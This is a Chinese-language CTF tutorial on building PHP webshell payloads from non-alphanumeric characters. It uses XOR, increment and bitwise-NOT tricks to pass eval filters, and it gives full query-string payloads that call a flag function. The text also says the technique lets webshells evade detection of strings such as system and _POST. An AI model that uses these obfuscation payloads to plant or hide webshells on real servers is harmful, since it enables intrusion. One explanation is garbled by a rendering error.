文章目录
- webshell
- 前置知识
- 进阶绕过
webshell
前置知识
<?php
echo "A"^"`";
?>
运行结果
可以看到出来的结果是字符“!”。
为什么会得到这个结果?是因为代码的“A”字符与“`”字符产生了异或。
php中,两个变量再进行异或的时候,它会将字符串转换成ASCII码,然后将ASCII码转换成二进制再来进行异或操作,异或完,又将二进制的结果转换成ASCII码,再将ASCLL码转换成字符串。
那么什么是异或?
异或操作就是两个二进制数在一起对比时,相同的为0,不同的为1
比如
A的ASCII码是65,对应的二进制是0100 0001
`的ASCII码是96,对应的二进制是0110 0000
那么,异或后,就是0010 0001,对应的ASCII码是33,对应的字符串就是!
接下来,看另外一个代码
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
这个代码的运行结果为:Hello Angel_Kitty
分析一下代码
$_++;
就是将"_"
这个变量进行自增的操作,在PHP中,通常未定义的变量默认值为null,而nullfalse0,所以,我们可以通过这样的方法来得到一个数字。
$__="?" ^ "}";
对字符"?"
和"}"
进行了异或运算,将得到的结果B赋给变量名为"__"
(两个下划线)的变量
$ __ ();
通过上面的赋值操作,变量$__
的值就变成了B,所以这一行代码可以被看作B(),相当于调用函数B。所以运行后的结果是Hello Angel_Kitty。
我们可以通过这样转换的方法来绕过那些会检测我们的代码。
像是_POST",“system”,"call_user_func_arry"这些我们需要的字符串能够进行转换,或是其他的一些我们需要的东西。
下面是一个简单的PHP后门:
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
// flag.php
<?php
function getFlag(){
echo "hello world";
}
?>
payload
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
运行后的结果
<?php
echo "`{{{"^"?<>/";//_GET
?>
首先,这个的运行结果是
那么前面的KaTeX parse error: Expected '}', got 'EOF' at end of input: … 中,然后前面又加了个字符,就变成了 $ _GET,又因为& _=getFlag,那么$ _GET又赋值了一个getFlag,所以就变成了调用getFlag函数。
第二种解法:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
也是一样的效果
进阶绕过
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
因为这个代码把_
过滤了,所以我们需要用异或的方式
echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");
echo "@@^|@@@" ^ "'%*:,!'";
可以看到,我们这两行代码在进行异或操作过后,都是getFlag
所以最终的payload是
?code=$啊="@@^|@@@"^"'%*:,!'";$啊();
因为前面的代码中过滤了字母、数字和下划线,所以这边采用一下汉字来作为变量名。
然后,运行结果也是同样的hello world